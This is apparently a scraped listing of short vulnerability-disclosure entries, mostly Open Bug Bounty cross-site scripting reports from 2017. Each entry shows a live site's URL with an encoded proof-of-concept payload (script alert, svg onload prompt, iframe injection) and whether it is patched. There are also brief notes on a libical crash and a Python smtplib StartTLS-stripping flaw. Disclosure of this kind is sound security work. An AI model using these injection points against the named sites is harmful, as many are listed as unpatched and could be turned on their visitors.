kioskabo.fr XSS vulnerability

Vulnerable URL: http://www.kioskabo.fr/le-nouvel-observateur/achat-au-numero.html?dir=descr=%22%3E%3C/script%3E%3Ch1%3Eaa%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability...

libical 0.47 / 1.0 Crash

Hello lists Attached is a test case for causing a crash in libical 0.47 shipped with Thunderbird and this was also tested against 1.0 various versions shipped with various email clients. ================================================================= ==24662==ERROR: AddressSanitizer: SEGV on...

benq.com.vn IFRAME Injection vulnerability

Vulnerable URL: http://benq.com.vn/search/module?benqcsrftokenname=e18d6e438d546f04%202f99223ab9293da9=%22%3E%3Ciframe%20src=%22https://www.openbugbounty.org%22%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:58 GMT Vulnerability type:|...

stellar-database.com XSS vulnerability

Vulnerable URL: http://www.stellar-database.com/Scripts/searchstar.exe?Name=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 517452...

molex.com XSS vulnerability

Vulnerable URL: http://www.molex.com/woodhead/about/aboutfile.jsp?filename=manuf.html=1%22--%3E%3Csvg/onload=;prompt%28/OPENBUGBOUNTY/%29;%3E=-206=492==Manufacturing+Products Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

nandoperettifound.org XSS vulnerability

Vulnerable URL: http://www.nandoperettifound.org/en/page.php?project=0=1%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:54 GMT Vulnerability type:| XSS Vulnerability...

Internet Bug Bounty: CVE-2016-0772 - python: smtplib StartTLS stripping attack

python smtplib starttls stripping attack affects: basically all versions of smtplib with starttls support and projects relying on it python 2.7.2 - 2.7.11 dates back 14 years python 3.0 - 3.5.1 dates back 7 years Python's implementation of smtplib fails to raise an exception upon an unexpected...

covermytunes.com XSS vulnerability

Open Bug Bounty ID: OBB-158967 Description| Value ---|--- Affected Website:| covermytunes.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

jetcost.ru XSS vulnerability

Vulnerable URL: http://www.jetcost.ru/results.php?sid=%22%3E%3C/script%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:45 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

luxurymortgage.com XSS vulnerability

Vulnerable URL: https://www.luxurymortgage.com/step1.php?error=login=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6180414 VIP...

crm.insurope.net XSS vulnerability

Vulnerable URL: http://crm.insurope.net/SlxClient/login.aspx?ctl00%24ContentPlaceHolderArea%24slxLogin%24UserName=%3c%2fscript%2f%22--%3e%3csvg%2fonload%3dprompt%2fOPENBUGBOUNTY%2f%3e Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS...

rabota.az XSS vulnerability

Vulnerable URL: http://www.rabota.az/vacancy/search?request=%22%20onmouseover=alert%28%22OPENBUGBOUNTY%22%29%20%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 54363 VIP website...

do.jobomas.com XSS vulnerability

Vulnerable URL: http://do.jobomas.com/imagen.php?Id=3=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

miui-hd2.net-fx2.de XSS vulnerability

Vulnerable URL: http://miui-hd2.net-fx2.de/wp-content/plugins/js-multihotel/includes/refreshDate.php?roomid=%3C/script/%22--%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability...

cosmodata.com.br XSS vulnerability

Vulnerable URL: http://cosmodata.com.br/vhcs2/tools/webmail/index.php?femail=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unkno...

dabatupermataruby.indonetwork.co.id XSS vulnerability

Vulnerable URL: http://dabatupermataruby.indonetwork.co.id/search?q=%22%20onmouseover=alert%28%22OPENBUGBOUNTY%22%29%20%22 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

chauffage.hitachi.fr XSS vulnerability

Open Bug Bounty ID: OBB-154319 Description| Value ---|--- Affected Website:| chauffage.hitachi.fr Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

sports.ksponco.or.kr XSS vulnerability

Open Bug Bounty ID: OBB-153382 Description| Value ---|--- Affected Website:| sports.ksponco.or.kr Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

granitefallsnews.com XSS vulnerability

Vulnerable URL: http://www.granitefallsnews.com/apps/pbcs.dll/search?q=OPENBUGBOUNTY%22%3E%3CIMG%20SRc=x%20onerror=alert%28/OPENBUGBOUNTY/%29%3E=0 Details: Description| Value ---|--- Patched:| Yes, at 07.01.2017 Latest check for patch:| 07.01.2017 12:01 GMT Vulnerability type:| XSS Vulnerability...

bcert.me XSS vulnerability

Vulnerable URL: https://bcert.me/bc/html/profile.jsp?k=clbtpjk1%22--%3E%3C/script%3E%3Csvg/onload=%27;alert%28/OPENBUGBOUNTY/%29;%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...